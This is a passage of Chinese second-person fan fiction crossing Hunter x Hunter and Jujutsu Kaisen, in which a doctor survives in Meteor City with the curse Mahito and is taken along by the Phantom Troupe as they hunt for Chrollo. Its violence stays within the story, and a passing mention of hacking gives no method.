于是你只能在意识里大喊,我单方面宣布你们原地结婚!!!
咔啦咔啦——
啊嘞?你刚在幻想中吼完,就听见了一连串碎裂声。嗯……就像早餐时把煮鸡蛋按在桌上揉碎的声音。
世界碎成了无数块。
你觉得自己本该也是碎片中的一员。
但你非但没有死,还找回了自己的身体。
混蛋,你去哪里啦?你知不知道自己差点被诊断成脑死亡直接火化啊?
呜呜呜身体意识我好想你啊。
混蛋我在跟你说正事啊!
可是有你在的话肯定不会出事嘛。
你这家伙……还挺自信。
所以,我们现在是在哪里啊?
终于想起来问这个了吗,自己看吧。
事实上,以你目前能感受到的情况,自己的身体仍处于完全不能动弹的状态。身体意识所说的“看”也不是真正意义上的看——源源不断的念力从四肢百骸发出,形成稳定的圆形向外扩展。
这种感觉有点像之前与身体意识分离的时候,你的意识无处不在,不依靠五感,就能自发得知念力笼罩区域内发生的一切。
观察完周边的情况后,你陷入了沉默。
辛苦你了,身体意识。
呵呵。
最开始,你以为自己在医院里,虽然是已经变成废墟的医院。
但医院里不会空无一人,并且有这么多五花八门的植物。从散发的生命能量看,这些植物都失去了养分供给,处于枯死的边缘。
念继续往外延伸,你发现自己的确位于废墟之中。不,说这里是废墟实在是太抬举它了。这里完完全全是一个超级垃圾场。
你这辈子都没见过这么多的垃圾,用垃圾山来形容都不够贴切,应该叫,垃圾喜马拉雅山!
你觉得自己已经尽力看得很远,依然没有探索到垃圾场的边界。整个世界除了你自己,没有一个生命体,只有数不尽的垃圾。
仿佛你自己也是个垃圾。
淦!
至于你是怎么出现在这里的。这个问题在你的两份记忆融合后,得到了解答。
你在陷入昏迷后,最先醒来的是身体意识。整栋楼都倒塌了,东先生病床上的向日葵帮你撑开了一小片空间,所以你没有被掉下来的天花板砸伤。
空气中混合着花香和血腥味。
隔着废墟,你能听到人们的哭声。
对了,在你昏迷之前,发生了什么来着?你感觉到怀里抱着的书,想起了东先生的信。
原来如此。
你试着发动体内的念,发现原本因为爆发而所剩无几的念变得比以前更加充沛。看来这也是念能力的附加作用之一,在剥夺他人生命之后会变得更强。
东先生的病房位于二层,往上还有四层楼,你没有贸然掀开废墟,而是先展开念力探查了一下周围。
这是你此前从未尝试过的操作,于是在一片黑暗中,你惊讶地看到了站在向日葵旁的少女。
安娜?
不,不可能是安娜。只有将念凝聚在眼部才能看到的,应该也是念吧。
金发碧眼的少女和你在照片中看到的安娜一模一样,你们对上视线后,她朝你露出了一个微笑。
[谢谢你,三叶医生。]
你辨认出安娜的口型,握着书的手紧了紧,“可我没能救回东先生。”
安娜摇了摇头,指了指你手上的书。
“你是安娜小姐吗?”
安娜没有说话,她走到你身边,将手轻轻地覆到你的手背上。
[我是安娜的一部分。]
少女碧绿的眼睛注视着你,有那么一瞬间,你的脑中闪过了属于安娜的回忆。
东那个傻瓜怎么还不来跟我告白?
……
医生,咳咳,我还能活多久?
两个月吗。
……
东是个傻瓜。
……
这一次,东可以忘了我吧。
东,要幸福啊。
少女形态的念安静地蹲在你面前,你从回忆里抽离,明白了眼前的的确不是真正的安娜,而是安娜小姐死后,滞留在人间的爱。
“
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你一直陪在他身边吗?”
安娜点了点头,弯起唇角。
“抱歉,我早该发现的。”如果早点学会用凝,或许……
安娜握了握你的手,站起来。
[你已经做得很好了,三叶医生。]
少女的身体渐渐虚化,飘散出金色的光点,她最后朝你挥了挥手。
金色的念洒在向日葵的花瓣上,像一抹落日的余晖。
“……那家伙在的话,会哭的吧。”重归黑暗的空间内,你叹了一口气。
我哪有那么脆弱?
那你别在脑子里哭啊!
两个意识的争吵并不影响记忆的读取。
安娜小姐的念消散后,你试探了一下周围,在准备收回念力时,捕捉到了远方的动静。
是训练有素的部队。
也是,发生这么大的事,政府一定会派人过来的。
“你这个仪器到底好不好用?”
“闭嘴!这可是研究院的最新款——停停停!这里有个伤患。”
一阵挖掘的声音,那两个人的脚步声仍在继续。距离越来越近,你收回了念,思考着伪装成普通人的可能性。
脚步声移动到你的头顶上方,没有片刻的停顿,很快就走远了。
“这上面只显示还活着的人的位置吗?”
“嗯,它能够检测到脑电波,脑死亡的人是救不回来的。”
原来你现在是脑死亡状态啊。听起来就……很离谱啊!
既然这样的话,等那些人走了以后你再出来吧。你检查过自己身上并没有受伤,唯一的银行卡也随身携带着,于是丝毫不慌地躺了回去。
“……土壤里检测出了不明物质……植物……变异……”
你将念附在耳朵上,仔细听着远处传来的声音。
“同意投放。”
嗯?发生了什么?
大地摇晃了一下,你抬手撑住压下来的天花板,将念放出去探知,然后发现整个医院所在的区域连同地基一起被拔起来带到了空中。
接下来……你发现没什么危险,就找了个角落躺下继续睡觉,醒来时就是现在的局面了。
那,为什么不能动啊?
应该是这个垃圾场的问题。
两个意识双双陷入沉默。
你有没有想过,你看到的是谁的记忆?
不知道,我当漫画看的啦。
那个少年,有些熟悉。
哎?哪里熟悉?
想摸。
……
意识间的交流比起言语更直接快速,你知道这个“想摸”是字面上的意思,回忆起少年嘴角的伤疤,你的手指有些蠢蠢欲动。
这个想法出现的很突然很奇怪,又莫名有点理所当然的感觉。
等等。
你撑着地面坐了起来。
不是错觉,你不知道什么时候恢复了行动力,你握了握拳头,念的流动也很顺畅。
轰——
重见天日的感觉并没有那么美好,尤其是直面无穷无尽奇形怪状的垃圾堆时。你的白大褂里还有口罩,你连忙扯出来戴上了。
并没有任何用。
难以言喻的味道钻进鼻子,让你有股把隔夜饭吐出来的冲动。
废墟间的植物已经完全枯死,你拽着一根树藤爬下来,随便选了个方向开始走,目标是尽快找到有人的地方,搞清楚这是哪里。
你的运气似乎还不错,在天黑之前,终于听到了人声。
“小子,敢偷我们的东西……”
肉.体的击打声,夹杂着小孩子的闷哼。
你绕过一个垃圾堆,看到了三个人正围着一个小孩拳打脚踢。
“喂,再打下去他就要死了。”
那三个人转过头来,你对上他们的视线,瞳孔缩了缩。
你很难形容那是怎样的眼神,掠夺、混乱,大概是这样的词汇,很显然他们不是你认知中的普通人。
不过他们身上都没有念。
你抬起刚才从垃圾堆里翻出来的一条凳子腿,正准备开打,那三个人忽然对你放狠话,同时极有默契地分头跑了。
什么鬼?
你有些烦闷地提着凳子腿走到地上趴着的那个孩子旁边,把人翻过来。
肿成猪头看不出五官的脸,一灰一蓝的眼睛。小孩看着你,眨了眨眼。
好的,还活着。
5. 第五天
“咳咳咳……”
小孩被你扶着坐起来之后,咳出了一口血。你在口袋里翻了翻,摸出一张纸巾递过去,对方没有接。
于是你简单粗暴地帮他擦了擦脸。
“你家在哪里?我送你回去。”
“咳……”小孩抬手指了一个方向。
你估摸着他的伤势,绕过伤口把他抱了起来。轻飘飘的,因为太瘦了吗?
小孩没怎么挣扎,你一边往那个方向走,一边跟他搭话。
“你知道这里是什么地方吗?”
“……流星街。”他的声音不大,说话时的气息拂过你的耳朵。
你不太适应地侧了侧头,腾出一只手把头发别到耳后,顺便把小孩乱糟糟的头发捋了捋。
“流星街?是哪个国家的街道吗?”
“不知道……”
“好吧好吧,待会问你家大人好了。”
朝着小孩指的方向走,路边的建筑逐渐变多,都相当破旧,目测有五十年以上的历史,偶尔也会遇到几个人,不过看起来都不太友好。你推测这里大概是某个国家的贫民窟。总比被扔到原始森林要好,你乐观地想着。
“就是这里。”
小孩轻轻推了推你,你弯腰把他放下来,有些茫然地环顾四周。
“你确定?”
在此之前你预想过这里的生存条件可能不太好,但眼前的情况已经不能用家徒四壁来形容了。
就只是一个废弃的下水道啊!空荡荡连垃圾都没有的那种!
“你家人呢?出门了吗?”
你按了按太阳穴,看着坐下来自行检查伤口的小孩。
“家人?”小孩眨了眨眼睛,“啊!是说来找我的那些人吗?他们在那里——”
你顺着他指着的方向抬头,看到了挂在管道上的几个疑似风干的不明物体。
“这些是什么?你捏的泥人吗?”
你握着刚刚取下来的东西看了看,是五官扭曲的人形,相当抽象的画风啊。
“嗯嗯!是我的玩具。”
小孩点了点头,露出一个惨不忍睹的笑容。你默默地把手里的东西放下,走到他面前蹲下。
“还是先帮你清理伤口吧。”猪头脸的笑容,有点太辣眼睛了。
你找到了半桶水,下水道里的水……嗯……没有异味,就当作是雨水吧。
没找到合适的布料,你把手臂上的绷带拆下来将就着用了,至于你自己划的伤口,作为一名医生,你当然知道怎样划出血量多又好得快啦,所以已经结痂了,没什么大碍。
“看起来伤得不重嘛,身上有哪里不舒服吗?”包扎完头部后,你示意对方脱下上衣让你检查一下。
“这些缝合线……是以前受的伤吗?”
你握着他的手腕捏了捏,内部似乎是完整的,是支离破碎之后被缝起来了吗?
“不记得啦。”小孩一脸无所谓地靠在墙上,指了指你的脖子,“姐姐你的脖子上也有缝合线哦。”
“这个啊,因为某个混蛋把我的头砍下来了啊。”你露出了一个扭曲的笑容,猛然想起会吓到小孩子,又恢复成正常的笑脸,摸了摸他的头,“不会突然掉下来的,不用担心。”
“哈哈哈哈哈哈哈哈哈……”
你看着面前笑得满地打滚的小孩,有些郁闷,“到底哪里好笑啊?”
果然被吓到导致精神错乱了吧。
根本不是我们的问题,是这个小孩原本脑子就不太正常。
啊!难道是因为分裂出了很多个身体意识吗?
好了你的思维不要再发散了。
小孩似乎笑累了,抓着你的手坐起来,眼睛眨了眨,“大姐姐,你好有趣啊,我可以跟着你吗?”
“在这里等我,处理完了就来接你。”
你穿着一身沾血的白大褂进了楼。
五分钟之后,你走出来,一眼就看见了正朝你招手的小孩。
“葵,有新玩具了吗?”
名叫真人的小孩张开手臂,你把他抱起来,无奈地点头,“是啦。”
在目睹了一次“玩具”的制作过程之后,你就明白了对方完全不像看起来那么无害,但是在这种地方,有自保的能力也是必要的。
通过改变灵魂的形状来改变肉.体,这种事你还是头一次听说。最开始你以为是某种特殊的念能力,但使用凝之后并没有看出什么。除此以外,真人自身的存在也有些奇怪。
“都在这个房间里,你一个人玩,我去找些吃的。”你走到一扇门前把他放下,走了两步又停下来,“不要乱跑,有空就把屋子打扫一下,我会把家具一起带回来。”
“好——”真人笑眯眯地朝你挥挥手。
街上一如既往的混乱。
昨天夜里发生了一起争夺地盘的乱斗,你和真人等到后半夜,那群人才分出胜负,搬进了一间不错的住所。
当然,胜者刚刚已经被你解决掉,那栋房子现在是你们的了。
一个月前,你从一个收垃圾的人那里得知了流星街的基本情况,对方索取的报酬是一颗糖果。
与你最初的设想不同,流星街并不是某个国家境内的贫民窟,而是一个可以接收任何东西的灰色地带。
[我们不拒绝任何东西,但也别想从我们手中夺走什么。]
这就是流星街居民所信奉的理念。
杀戮、掠夺、暴力、欺骗,在这里随处可见。货币没有任何价值,食物和水才是最紧缺的资源。
好想快点离开啊。你抬头看了看铅灰色的天空,走进了冤大头的住所。
“我回来了——”
你一脚踢开门,把左手扛着的床板放到地上,环顾了一圈,没看见人影。
“真人?”
你走到二楼,拉开一扇门,恰好和里面晃晃悠悠的东西对上视线。
san值狂掉。你面无表情地关上门。
感觉裤脚被扯了扯,你低下头,看到了从门板下方缝隙里伸出来的小手。
“你在搞什么?”
那只手锲而不舍地扯着你的裤脚。
“不,我绝对不要进去。”
那只手缩回去。过了一会,门从里面打开了。
你站在门口没动,房间里空荡荡的,地上爬过来一只手,是真的只有一只手。
嗯,这是真人奇怪的地方之一。
你蹲下来把手递过去,那只手跳上来搭在你的掌心,接下来的画面非常不适合饭前观看。
那只手的后方伸出数条触须,像吹气球一样膨胀后挤成一团蠕动着的人类器官集合体,头发、手臂渐次出现,漫长的半分钟后,真人总算恢复了原来的样子。
“葵!我现在可以一次性进行三十个人的无为转变了哎!”
不同于真人的兴奋,你有些头痛地捂住眼睛,“真人,在说这些之前先把衣服穿上。哪怕你是个小孩子,我看到了也会长针眼的啊。”
“葵,下次可以给我找更多的玩具吗?”
真人托着下巴,像个真正的小孩子那样晃动双腿,露出了期待的表情。
“不行。”你飞快解决着今天的午饭。
“哎?为什么?”
真人一脸失望地站起来。
“我说过了吧,等你有足够自保的能力,我们就离开这里
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。”你喝了一大口矿泉水,“外面的世界是有规则的,不可以随意杀人,而且,你的能力应该用在更有价值的地方。”
你有时候会相当怀疑真人的年龄。
既然他可以改变灵魂的形状,那么把自己变成小孩子的模样也轻而易举吧。
但他有时候又表现得非常幼稚。
比如在你拒绝给他找玩具之后,他待在房间里单方面跟你冷战了一下午,完全像慧子奶奶的外孙一样任性嘛。
对付这种小孩的办法就是不要搭理他,于是你给自己铺好了床,天一黑就躺下了。在流星街的这段时间精神上高度紧张,就怕有人趁自己睡着了偷家,日复一日的,觉睡没睡好另说,圆倒是用得越来越熟练。
有人进门的一瞬间,你就醒了过来。只睡了半个小时,你的语气难免有些不好,“你的房间在隔壁。”
“可是我想和葵待在一起。”
真人在你的床头蹲下来,声音听起来可怜兮兮的。
你侧过头,昏暗的光照在那张缝合线的脸上,真的有够惊悚。你把头转回去,拿起枕头盖住脸,拍了拍床的内侧。
真人这会倒是很听话,乖乖地躺下了。
“下次再这样就不管你了。”
你知道他为什么想要待在你身边。第一次见到真人把自己折腾得只剩下一只手时,你以为他被人杀了,结果那只手在你面前又变回了真人的模样。
真人他并不是人类,而是由人类对人类的憎恶、恐惧中诞生的诅咒。
你从来没有听说过这个世界上有咒灵的存在,对咒力也不了解。但真人告诉你,你的身上有着非常浓郁的咒力。并且,正因为在接触时你把咒力传递给了他,他才能迅速地恢复。
真人认为,你是他的同类。
开什么玩笑,你可是货真价实的人类。
“葵,什么是有价值的事?”
在真人问出这个问题时,你预感到今晚要通宵。但他能有这个意识,你非常欣慰。
你把枕头拿下来抱在怀里,睁开眼睛看着他,“去救那些受伤的人。”
“为什么要救他们?”真人满脸都写着抗拒,“正是因为他们,我才会出现的。人类,是互相厌恶、互相恐惧着的啊。”
“为什么要救人啊……怎么说我也是个医生……”你想了想,“我也是人类,如果我快要死了,真人会救我吗?”
“你不会死。”真人罕见的没有跟你争论你是不是人类这回事,而是直接说出了这句话。
你愣了一下,抱着枕头大笑起来。
会有这种想法,果然还是个小孩子嘛。
“真人喜欢糖果吗?”
你伸手摸了摸他的头。
“喜欢。”
你刚到流星街时,口袋里装了两颗糖,一颗用来做交易,一颗给了真人。你那个时候把他当普通小孩哄,后来才知道他其实不需要食物。
“那等出去之后,我给你买糖吃。
“虽然外面的那些人我不认识,但他们死了的话,会像没有糖果一样遗憾呢。这么说你能理解吗?”
真人摇了摇头。
嗯……自己果然不适合教育小孩子……
“现在不理解也没关系,答应我两件事就好。”你伸出两根手指晃了晃,“一,不能毫无缘由的杀人;二,不能单纯因为自己的喜好而杀人。”
“怎么样,能做到吗?”你看着真人露出纠结的表情,又加了一句,“做得到的话,我就跟你保证,无论发生什么事,绝对不会丢下你不管。”
真人眼睛一亮,似乎有些迫不及待地从被子里伸出一只手,“你要跟我定下束缚吗?”
6. 第六天
束缚?
又是一个新名词。
你刚要开口,忽然感到了一丝不对劲。这段时间锻炼出的反射神经让你一瞬间做出了反应——抓着真人的手把他往怀里一带,撑着床板弹起来。
眼前划过一道雪白刀光。
墙壁连同新搬回来的床被劈成两半,被子里的棉絮抖落,瞬间化作齑粉。
你瞳孔紧缩,顾不得考虑其他,抱着真人从旁边的窗口跳了下去。
窗外是一大片破败的居民楼,这里没有通电,到了夜间黑洞洞的,只剩路上映着的一点白惨惨的月光,正适合躲藏。
快要跑到你看准的那个小巷时,你猛地停住,巷口突然出现了一个穿着和服的妹妹头小孩,对着你一挥折扇。
疾风裹挟着纸屑飞来,不用想也知道肯定不是什么好东西,你当即转头就跑。
离谱,这些人到底是从哪里来的?
你有些狼狈地躲开又一道刀光,脸上一痛,将念凝聚在眼部,你看到了一根极细的念线,差一点就要削断脖子的那种。
真人用力捏了一下你的手,下一秒他被一股力量从你怀里扯出去,你来不及看是什么情况,一闪身避开了迎面而来的攻击。
“敢动一下,就杀了你。”
十秒钟之后,你被人用伞尖抵着脖子控制住了。
虽然对方是个矮子,但你确信他有能力秒杀你,于是你把脏话都咽了回去,默默地跟对方阴恻恻的眼睛对视。
“玛奇呢?”说话的是个束着头发的厌世脸大叔,手里的刀刚刚入鞘,从他身上的气来看,显然刚刚也放水了。
“他们在那边。”跟在他身后的妹妹头小孩抬起手。
“哟,那是什么能力?能任意改变身体的形状,他很强嘛。”
“不是念。玛奇那边看起来很棘手。”
你面前的两个人聊了起来,你考虑了一下要不要趁机逃走,最终选择了放弃,跟他们一起观战。
念的加持下,你可以很清楚地看到那个叫玛奇的妹子一直在试图用念线捆住真人。真人虽然看不见念,但总能找到缝隙脱身。
此外,由于真人强行固定住了自己灵魂的形状(他自己告诉你的,虽然你不太懂),受了伤也可以很快恢复,总之是一副游刃有余的样子。
平时小看他了啊,果然是那副小孩子的外表影响了你的判断。
不过,真人身上的咒力还够吗?
这样想的下一秒,你看到真人膨胀成了一个巨大的球形,玛奇的念线在他身上缠绕几圈,迅速收紧。
砰——
玛奇一脸冷酷地走了过来。
“玛奇,为什么不直接抓住他?”
矮子的声音从挡脸的骷髅图案下传出,带着一丝讥笑,或许是你听错了。
“直觉。”玛奇的声音和她的长相一样清清冷冷的,是你喜欢的类型,“不能碰到他的手。”
“算了,那家伙本来也不是我们的目标。”大叔的话音刚落,四双眼睛齐刷刷地看向了你。
所以这群人到底是从哪里来的啊!
“三叶葵,曾是塔卢米市疑难杂症治疗中心的工作人员,一个月之前在坍塌事故中失踪,是你本人吗?”
“……是。”
这浓浓的死神小学生既视感。接下来难道要找凶手了吗?
等等我没……我是杀过人没错。
“告诉我们,库洛洛在哪里?”
啊这。是来寻仇的吗?
库洛洛的仇家?
你迅速地扫了一眼面前的四个人,阴恻恻的矮子,冷静漂亮的小姐姐,胡子拉碴的大叔,充当背景板的萝莉。
“他死了。”
一阵诡异的沉默。
“你这家伙,要好好回答问题啊。”
疼痛是缓慢且迟钝的。你先是看到了沿着伞身流下的血,才感受到了左肩传来的剧痛。
如果不是身体意识的作用,你可能早就哭出来了。
“飞坦。”
玛奇喊了一声。伞尖的利刃从你的肩头拔出来,你的额头冷汗直冒,向后靠在墙上。
“为什么说他死了?”
虽然小姐姐看起来很平静,但是你知道自己如果不好好解释一下,她绝对会看着那个矮子再对你下手的!
你向他们介绍了一下花吐症和库洛洛的病情,隐瞒了这件事的真正源头是你。
“团长有喜欢的人?还是单恋?!!”
你觉得大叔的关注点有些奇怪。
等一下,团长……你好像有在哪里听到过这个词。
越接近你在手术台上醒来的那个时间节点,脑中的记忆就越混乱模糊。好在你有两个意识可以用。
“我最后一次见到库洛洛是在大楼坍塌的那天早上,他的病情已经严重到了随时会死的地步,所以我不能确定他现在是不是还活着。”
大概率是死了吧。
来不及找到那个人,又被暴动的念催生了血液里的花种。
说不定已经变成玫瑰下的花土了。
你捂着肩上的伤口,内心异常平静。
“我和凸眼鱼没有找到尸体,团长还活着。”
说话的是个手里拿着奇怪吸尘器的眼镜妹。
这个人又是什么时候出现的?
团长团长团长……
啊!你脑中灵光一闪。
“你们该不会,是库洛洛说的那个旅游团的团员吧?”
五双眼睛一齐看向你,吸尘器上的两只眼睛滴溜溜地转了一圈。
“我们是幻影旅团,可不是什么无聊的旅游团。”可能是你的个人偏见,矮子的声音永远透着一股不怀好意。
“嘛,这些都不重要啦。”你努力站直了点,“既然你们不是库洛洛的仇家,他也还没死的话,关于他的去向,我有一个猜测。”
“该不会去找女人了吧。”
你看了大叔一眼,虽然这句话听起来不太对劲,但某种意义上他的想法与你不谋而合。
“库洛洛单恋的人叫迪妮莎,或许,你们有谁认识吗?”
“没听过。”
“我记得。”
在你们的目光下,玛奇竖起了两根手指 ,“两年前,我和团长一起去阿弗格时,住在那个女人家里。”
“哎?竟然是真的!!”
库洛洛,你到底是有多独,才让你的团员完全不相信你会喜欢别人?
“既然有了线索,接下来就去找那个叫迪妮莎的女人。”
“这个人要杀了吗?”眼镜妹一脸天然地指着你。
不要用这种无辜的表情说出这么可怕的话啊!
“一起带上,交给团长处置吧。”
矮子的杀气稍纵即逝,你一身冷汗地被迫踏上了新旅途。
*
幻影旅团究竟是一个怎样的组织?
这个问题在你得知它并不是旅游团之后就一直困扰着你。经过一段时间的观察,你发现了三件事。
一、旅团很穷。从成员们质朴的11路公交赶路方式,到一天三顿的速食产品(有时候根本没有三顿),再到破败了不知道多少年的大本营(连电灯都没有,全靠蜡烛照明==),每一项都在刷新着你对贫穷的认知。
二、团员之间的关系很差。你不止一次看到矮子和大叔发生争执,甚至大打出手,队伍中的其他人对此视而不见,连个劝架的都没有,隔壁的黑衣组织都比这有人情味(不是)。
三、你目前没有看出旅团挑选团员的标准。一般来说,一个组织会有一个明确的目标,才能吸引到志同道合的人。但旅团的成员现在一门心思只想找团长,除此以外好像什么都没做。看上去也没什么纪律可言。难不成,旅团的宗旨是凡我所好,一切皆好吗?
出了流星街后,你很快就见到了幻影旅团的其他成员。其中一个绿眼睛的娃娃脸迅速获得了你的好感,因为相比于其他人,他实在是太好交流了。似乎也是旅团里唯二能赚钱的人(另一个是玛奇小姐姐)之一。
娃娃脸名叫侠客,精通黑客技术。你在看到他轻轻松松黑入政府网站帮你们办好假身份和入境通行证后,就对他佩服得五体投地。
侠客是幻影旅团中难得的情报人员,和他汇合的第二天你们就有了新的进展——找到了一名曾在事故当天见过库洛洛和迪妮莎的工作人员。
不过行动当天,你作为俘虏被留在基地
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,所有的消息都是来自侠客的转述。
“找到了,团长他们在埃珍大陆。”
侠客扔给你一袋零食,你轻松地接住。噢,是自己很喜欢的那种抹茶饼干。看来很顺利,还有空逛超市。
“哇,竟然是飞行船!”
听到你情不自禁的惊叹声,矮子发出一声嗤笑。笑什么?银行卡存款连三位数都没有的穷光蛋!你不甘示弱地瞪回去。
飞坦,也就是那个矮子,没有搭理你,率先上了船,留给你一个背影,成功让你一口气梗在了心口。
“这次给大家买的是VIP票,葵以前没有坐过的话,可以好好体验一下,其实内部设施和一般的轮船没什么区别,只不过透过窗户看到的是云海呢。”
侠客推着你上了船,在看到VIP舱内部的陈设后,你单方面宣布,侠客是旅团中最靠谱的存在!
“您好,请问您需要来点什么?”
“一杯气泡水!”你兴奋地坐到吧台前,对着调酒师伸出食指,“要葡萄味的!”
果然是贫穷限制了你的想象力,VIP舱竟然有独设的酒吧和游戏厅!太赞了!
“葵不喝酒吗?”
侠客坐到你旁边,你偷偷瞄了一眼,发现飞坦去了游戏厅,心情就更好了。
“嗯,因为还没有成年啦。”
真实原因是,你潜意识里觉得自己喝醉了会耍酒疯。仔细想想,这种潜意识也很奇怪,毕竟你一次都没有尝试过,难道是来自上辈子的记忆吗?
“喏,这杯度数很低,要不要试一试?”
你看着被轻轻推过来的杯子,脑中浮现了一只轮廓很好看的手。
“想喝就喝这个吧,啧,要是那些家伙知道我把你带到酒吧,很麻烦啊。”
“你不说我不说,他们怎么会知道嘛。而且是我自己跟过来的,不怪你哦。”
……
“葵?”
“啊,不小心走神了。我尝尝看。”
和薄荷味的气泡水没什么两样嘛。你不好直接说这个味道平平无奇,很给面子地喝完了,然后抱着调酒师做好的气泡水冲味道。借着转移话题,你问出了自己一直以来的疑惑。
“侠客,幻影旅团到底是做什么的?”
“葵不知道吗?在你看来呢?”
“嗯……库洛洛办的哲学同好会?”
“哈哈哈,看起来像这样吗?”侠客笑得一脸阳光灿烂,“我们啊,是盗贼。”
果然,幻影旅团是一个国际犯罪组织。
而且是一个没有什么宏伟目标,单纯为了犯罪而犯罪的组织。
这坚定了你要趁早下贼船的决心。
说起来,现在你就在船上,但是直接跳下去会死吧。你看着窗外流动的云海,有点纠结。
万一库洛洛追人失败,或者速度太慢直接死了怎么办?那群人看到尸体会发疯的吧。你脑补了一下自己可能的下场,有些不寒而栗。
库洛洛,你可一定得加油啊。
“那个女人有问题。”
玛奇坐到侠客身边,单手撑着下巴,看了眼远处正趴在舷窗前的人。
“你也这么觉得吗?”侠客在手机上按了按,将屏幕展示给玛奇,“不用担心,我在她身上装了定位,如果她隐瞒了什么想要逃跑的话,可以轻松追回来。”
“除了她隐瞒的信息,她的念也有问题,给人的感觉不太舒服。”
“大概是特质系吧,说不定团长会感兴趣。”
“嗯。”
你对另一边的对话一无所觉。
排除掉破窗而出的逃跑计划后,你来到了卫生间。因为刚刚喝了太多饮料,而且有点紧张的缘故。你磨磨蹭蹭地解决完个人卫生问题,正准备出门时,听到了一阵窸窸窣窣的声音,要形容,就像你在霓虹遇见过的小强。
那种行动迅敏、无孔不入、无处不在,让人san值狂掉的生物,原来这个世界也有吗?!
在你下决心要与它同归于尽之前,你看到了从洗手池里伸出来的一只手。那只手上有着熟悉的缝合线,掌心的大眼和你对视了一秒,你惊喜中带着迟疑地开口——
“你为什么会出现在厕所啊!!”
7. 第七天
还好真人不是从马桶里出来的(奇怪的画面增加了),不然你真的下不去手去接他。
你以为真人是跟着你一路留下的记号追上来的,结果真人表示之前你和他定下了束缚,所以他可以直接感知到你的灵魂在哪里。
这就触及了你的知识盲区,不过大概和他的术式有关。你不好在卫生间里待太久,所以迅速地跟他商量了一下对策。
首先是怎样光明正大地把真人带出去。其实直接带出去的话,以你这段时间对幻影旅团的观察,还真不一定会死,说不定真人会跟你一样被监视起来。
但这种局面不是你想看到的,最好是敌在明我在暗。最后是真人给了一个提议,他说自己可以改变灵魂的形状,只要保证内核完好,外表无论怎样变化都不会有问题。
“你怎么进去了这么久?”
一出门就遇到了玛奇小姐姐,你差点抬手来上一句,好巧。
“肚子痛,可能是刚刚喝了冰的。”你捂着肚子尴尬地笑了笑,“不过现在好多啦。”
玛奇并没有多关心你一句的意思,你带着小小的失望回到了船舱。
游戏厅里,飞坦正在和侠客双人对战,你环顾了一周,选择了离他们最远的角落,那里正是你的目标所在——娃娃机!
VIP服务中包括全场设施酒水免费,所以只要技术过硬或者坚持不懈,夹走一车的娃娃也没问题。
你大概属于坚持不懈型。你在娃娃机前待了一下午,期间被旅团众人轮流参观,小滴,也就是那个天然系的眼镜妹还在旁边陪你玩了一会。不过她看起来对娃娃没什么兴趣,夹出来之后就扔在你的一堆战利品之间。
晚饭前,你抱着一下午的成果回到了自己的房间,然后挨个敲门给旅团众人一人送了个娃娃。
“没有异样,是普通的娃娃。”
侠客的房间,地面上散落着被肢解的娃娃的零部件,旅团众人神态各异。
“直接让我审问一下。”飞坦靠着墙,声音里有几分跃跃欲试,“只要不弄死,团长不会有意见。”
“我同意飞坦的提议。”芬克斯捏了捏指骨,“这样比较快。”
“既然目前对旅团没有威胁,没必要这么做吧。”侠客拿起手机看了一眼,“一整天都没有异常活动,现在也是在房间里好好待着。”
“说这么多,先找到团长就好了。”玛奇从地上捡起几块残肢,迅速地缝好了一只娃娃。
“之后确认没有价值,飞坦你再拿去玩也不迟。”小滴从书本后抬起头,推了推眼镜。
富兰克林沉默着摸了摸她的头。
“嗯?她出门了。”侠客抬起头,环视众人,“信长在哪里?”
*
半小时前。
“找我什么事?”颓废脸大叔,也就是信长,推门走进来。
“我想问一下,你们在找到库洛洛之后,会怎么处置我?”考虑到对方的性格,你选择开门见山。
“不知道,看团长吧。”信长在你对面坐下来。
“以往的情况呢?”你稍微停顿了一下,观察着他的表情,“确认没有价值之后直接杀掉是吗?”
“你倒还不蠢嘛。”信长露出了一点赞赏的目光。
“可以拜托你一件事吗?”你诚恳地问道。
“饶你一命这种可不行哦,其他的可以说说看。”
“如果到了那个时候,拜托你给我个痛快,千万不要把我交给飞坦!”你带着十二分的诚心说出了这句话,而后听到了对方夸张的笑声。
信长答应了你的请求,这让你坚定了接下来的计划。
“虽然这么问有点冒犯,你有爱过或者恨过什么人吗?”
你猜得没错,一瞬间,你看到了对方身上涌现的几乎化为实质的杀意。
“或许你们已经猜到了,我是特质系,我的念能力是占卜。”你直视着信长的眼睛,“如果你有一定想要报复的对象,我可以告诉你对方的所在地,条件是,尽可能地保护我的安全。”
之所以选择信长,是基于一路上的观察分析。
首先,他与飞坦关系不好。虽说旅团在某些时候表现得很团结,但在你看来就像一盘散沙,一盘因“库洛洛还活着”的消息而暂时聚集起来的散沙。团员之间存在着矛盾,就有利用的可能。
其次,他是仅有的几个表现出自己对某人强烈恨意的团员。据你观察,他曾经几次提到过的“锁链手”就是害旅团陷入如今境地的罪魁祸首。从团员的组成看,库洛洛完全不像看起来那么无害,他之所以会以普通人的身份与你相识,大概率也是因为那个“锁链手”。
最后,当然是因为他看起来最容易感情用事。虽然你对侠客的印象很好,但对方一看就不好骗。玛奇小姐姐则有着恐怖的直觉,你怕自己会无意间暴露出别的信息。剩下的人里就更没有什么指望得上的了。
为了增加可信度,你现场放了血。
不过还需要占卜对象提供饱含情感的物品,信长毫不犹豫地划破了手。
你在房间里找出了一张世界地图,鲜红的血在地图上铺开后,又在念的牵引下四散分离,重新汇聚成一只血红的眼睛。那只眼睛缓缓地流下一行血泪,停在地图上的某个地点。
“真是有恃无恐啊……喂,你这个能力,可以用来找团长吗?”
“必须要有足够强烈的情感才行。或许……旅团里有对库洛洛抱有强烈爱意的人吗?”恨也可以,但你不认为旅团里会有人恨着他们的团长。
“那家伙在的话,就能找到了吧。”你看到信长脸上的泪水,默默地把餐巾纸推了过去。
看来在过去发生了不太愉快的事。
*
“原来你们在这里,还不睡觉吗?”
侠客在场边坐下了。
你握着竹刀,有些狼狈地躲避着信长的攻势,没有机会回话。
“不要一味地防守!攻击我!”
刀刃狠狠地碰在一起,震得你虎口一麻,下一秒竹刀被打飞出去,肩膀重重地挨了一记。
如果没有事先用念护住自己,估计就不止淤青这么简单了。你退了几步,手臂从失去知觉的状态恢复过来。
“再来。”
汗水湿透了衣服,你走到场边捡起竹刀,摆好架势,信长的攻击迎面而来。
“都说了要主动攻击——”
后背撞上墙面,你吐出了一口血。从地上爬起来,这一次没有过多犹豫,在握住刀的那一刻直接冲上前。
被轻松挡住了,好快的反应力。信长露出狰狞的笑,“这才有点像样。”
不记得打了
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多久。
